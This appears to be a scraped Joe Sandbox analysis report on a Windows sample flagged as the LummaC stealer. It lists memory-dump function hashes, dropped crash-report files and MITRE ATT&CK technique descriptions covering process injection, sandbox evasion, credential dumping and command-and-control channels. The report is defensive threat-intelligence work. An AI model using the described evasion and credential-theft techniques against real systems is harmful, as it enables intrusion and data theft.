Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: 274c5ba61d0be3dc0cc1df80e95a490ac77f15d29ad9bd3c0290fde2e85a31fa
Instruction ID: 4d8601ba0eeb48d67fe303f624ac57c04924c447c59e408ae1ea3c21cf41b8a9
Opcode Fuzzy Hash: 274c5ba61d0be3dc0cc1df80e95a490ac77f15d29ad9bd3c0290fde2e85a31fa
Instruction Fuzzy Hash: F141C074608240DFCB249F28C4916BABBE4EF85304F54889EE49ADB316C778DD40CB93

Function 00BB6B50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BB6B7E

Strings

+`^z, xrefs: 00BB6BDB
+`^z, xrefs: 00BB6C0B

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: c5d740eb9fb0bac1b5bef6a90293ce3d7ab5d096fe5d6a23f2f15027d43e0527
Instruction ID: 44d7f64c148e4f8d44a622bb1e1f0fdd66828bd0ca778fde32997e46eb0fdfa8
Opcode Fuzzy Hash: c5d740eb9fb0bac1b5bef6a90293ce3d7ab5d096fe5d6a23f2f15027d43e0527
Instruction Fuzzy Hash: B441B1746096409FCB249F28C49167ABBE4EB85304F54489DE49ACB316C774DD40C793

Function 00BB6CB0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00BB6CDE

Strings

+`^z, xrefs: 00BB6D6B
+`^z, xrefs: 00BB6D3B

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: _strlen
String ID: +`^z$+`^z
API String ID: 4218353326-1884853765
Opcode ID: d97a654bb67dcfdca7e58b090a0ebfece4b286616fc69ec0534b1ac9c41be33f
Instruction ID: d1b20420ab5f4ac7e66d4b0a1181a0b60b0666fb3626a9e4067e73537baeacd5
Opcode Fuzzy Hash: d97a654bb67dcfdca7e58b090a0ebfece4b286616fc69ec0534b1ac9c41be33f
Instruction Fuzzy Hash: B141E274608240DFC7249F28D5A167BBBE4EF85300F1448AEE45A8B356C778DD408793

Function 00BCD743 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00BCD74C

Strings

csm, xrefs: 00BCD7DF
csm, xrefs: 00BCD76E

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: dd30419b66df1afad5e11204ecebab539c0947b3df7bf24c8fd20b0bf479d8db
Instruction ID: 426f96b16febafd5c57901358382d59107c02e02948794a1cf54e1d1e4d59596
Opcode Fuzzy Hash: dd30419b66df1afad5e11204ecebab539c0947b3df7bf24c8fd20b0bf479d8db
Instruction Fuzzy Hash: 10315E7A500259ABCF269F50C844FAA7BE6FF08715B1845AEFC584A121D332DCA1DB91

Function 00BA8B00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 00BA8B1C

Strings

},4), xrefs: 00BA8B4E
},4), xrefs: 00BA8B2E

Memory Dump Source

Source File: 00000003.00000002.2192397900.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000003.00000002.2192380896.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192426292.0000000000BE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192445912.0000000000BEE000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192463017.0000000000BF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2192477489.0000000000BF7000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_ba0000_file.jbxd

Similarity

API ID: ___std_exception_destroy
String ID: },4)$},4)
API String ID: 4194217158-1349039888
Opcode ID: d00d24428b834695abaf75a5193fb2d4bfe000e891c5477e5c01c8dd9a98ebb7
Instruction ID: 7f3dc96878855eece6d025cabd3fa234dd0ccee7ec564468afeb351e51ae13e7
Opcode Fuzzy Hash: d00d24428b834695abaf75a5193fb2d4bfe000e891c5477e5c01c8dd9a98ebb7
Instruction Fuzzy Hash: D501F9F095D2004BCE545B1898D252E76D49F76308F850CA9F44AEB620DF32DC44C7E7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_aed1f4129a9d8dcd880d77b26ad86f3e04f99ca_8bf2033d_618ff279-480d-491c-a99d-8f67ae46050e\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA036.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA085.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA0A6.tmp.xml

C:\Windows\appcompat\Programs\Amcache.hve

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
file.exe

Function 00BEE1B4 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Function 00BA20B0 Relevance: 13.5, APIs: 1, Strings: 6, Instructions: 1244
COMMON

Function 00BA6390 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 426
memoryCOMMON

Function 00BA3260 Relevance: 3.7, Strings: 2, Instructions: 1227
COMMON

Function 00BDD949 Relevance: 13.8, APIs: 9, Instructions: 273
COMMONLIBRARYCODE

Function 00BA76F0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 315
COMMON

Function 00BD8319 Relevance: 9.3, APIs: 6, Instructions: 292
COMMONLIBRARYCODE

Function 00BD0E85 Relevance: 7.7, APIs: 5, Instructions: 197
COMMON

Function 00BD6F73 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Function 00BD12DC Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 00BD774C Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Function 00BD11D1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00BD6185 Relevance: 3.1, APIs: 2, Instructions: 52
COMMONLIBRARYCODE

Function 00BD0562 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre